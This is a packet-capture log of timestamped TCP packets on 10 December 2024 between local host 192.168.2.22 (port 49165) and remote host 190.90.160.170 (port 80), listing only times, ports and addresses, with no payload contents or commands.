Dec 10, 2024 14:20:54.189623117 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.190432072 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.190511942 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.190613985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.190661907 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.191442013 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.191490889 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.191514015 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.191530943 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.192467928 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.192517996 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.192552090 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.192600012 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.193481922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.193537951 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.194070101 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.194120884 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.194493055 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.194506884 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.194550991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.194550991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.195342064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.195399046 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.196281910 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.196363926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.196367025 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.196377993 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.196405888 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.196417093 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.336429119 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.336538076 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.336631060 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.336697102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.336888075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.336934090 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.337119102 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.337166071 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.337774992 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.337829113 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.337918043 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.337964058 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.338068008 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.338134050 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.338606119 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.338686943 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.338774920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.338821888 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.339226007 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.339277983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.339562893 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.339627028 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.339981079 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.339993954 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.340080976 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.340676069 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.340728045 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.340770006 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.340822935 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.341469049 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.341536999 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.341548920 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.341600895 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.341914892 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.342262030 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.342320919 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.342772961 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.342930079 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.342978954 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.343015909 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.343059063 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.343072891 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.343118906 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.343758106 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.343816996 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.343816996 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.343873024 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.344567060 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.344618082 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.344624043 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.344664097 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.345415115 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.345474958 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.345479965 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.345530033 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.346159935 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.346172094 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.346229076 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.346892118 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.347022057 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.347207069 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.347259998 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.347670078 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.347718000 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.347745895 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.347759962 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.348429918 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.348481894 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.348769903 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.348814964 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.349309921 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.349368095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.349385023 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.349421024 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.350016117 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.350085020 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.350114107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.350162029 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.350800991 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.350850105 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.350888014 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.350939989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.351592064 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.351603985 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.351716995 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.352528095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.352540970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.352585077 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.352585077 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.353143930 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.353154898 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.353223085 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.353928089 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.353940964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.354038954 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.354705095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.354717970 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.354757071 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.355536938 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.355551958 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.355604887 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.356224060 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.356241941 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.356273890 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.356295109 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.357048988 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.357062101 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.357116938 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.357116938 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.357774973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.357826948 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.357827902 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.357887983 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.358702898 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.358768940 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.358768940 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.358899117 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.359509945 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.359524012 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.359570026 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.360166073 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.360223055 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.360248089 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.360261917 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.360989094 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.361004114 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.361054897 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.361068010 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.361735106 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.361804962 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.361846924 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.361891031 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.362504959 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.362515926 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.362565041 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.363424063 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.363436937 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.363490105 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.364046097 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.364140987 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.364178896 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.364226103 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.364882946 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.364895105 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.364926100 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.365669012 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.365680933 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.365722895 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.366637945 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.366650105 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.366708040 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.366708040 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.367170095 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.367224932 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.367233038 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.367290020 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.367882967 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.367894888 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.367938042 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.369381905 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.369395018 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.369451046 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.369451046 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.369960070 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.369971991 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.370016098 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.370016098 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.370307922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.370321035 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.370349884 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.370367050 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.371068001 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.371078968 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.371118069 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.371706009 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.371767044 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.372009039 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.372057915 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.372564077 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.372627974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.372651100 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.372720957 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.373434067 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.373446941 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.373482943 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.373544931 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.374039888 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.374150991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.379409075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.379503965 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.379559040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.379743099 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.379755974 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.379757881 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.379792929 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.380903959 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.380914927 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.380973101 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.381264925 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.381331921 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.528007984 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.528105974 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.528285027 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.528331995 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.528352976 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.528369904 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.528369904 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.528698921 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.528762102 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.528796911 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.528847933 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.529467106 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.529572010 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.529643059 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.529685974 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.530333996 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.530345917 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.530390024 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.530998945 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.531075954 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.531230927 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.531299114 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.531872988 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.531892061 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.531924009 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.531975031 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.532562971 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.532619953 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.532789946 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.532840967 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.533494949 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.533554077 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.533560991 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.533626080 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.534574986 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.534621954 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.534642935 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.534687042 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.535155058 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.535219908 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.535222054 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.535279989 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.535689116 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.535763979 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.535798073 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.535868883 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.536767960 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.536811113 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.536900043 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.536947012 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.537484884 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.537497044 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.537540913 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.537540913 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.537986040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.538081884 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.538280964 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.538355112 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.538808107 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.538893938 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.538938999 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.538985968 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.539554119 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.539617062 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.539760113 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.539814949 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.540323973 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.540364981 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.540373087 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.540432930 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.541146040 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.541208982 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.541224003 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.541265011 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.541974068 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.542032003 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.542035103 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.542084932 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.542985916 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.542998075 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.543040991 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.543492079 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.543541908 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.543575048 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.543623924 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.544327021 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.544377089 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.544625998 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.544691086 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.544989109 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.545063019 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.545389891 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.545468092 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.545773983 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.545787096 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.545836926 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.546554089 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.546566963 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.546627045 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.547408104 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.547463894 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.548171997 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.548183918 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.548201084 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.548232079 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.548232079 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.549087048 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.549099922 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.549150944 CET	49165	80	192.168.2.22	190.90.160.170
Dec 10, 2024 14:20:54.549720049 CET	80	49165	190.90.160.170	192.168.2.22
Dec 10, 2024 14:20:54.549732924 CET	80	49165	190.90.160.170	192.168.2.22
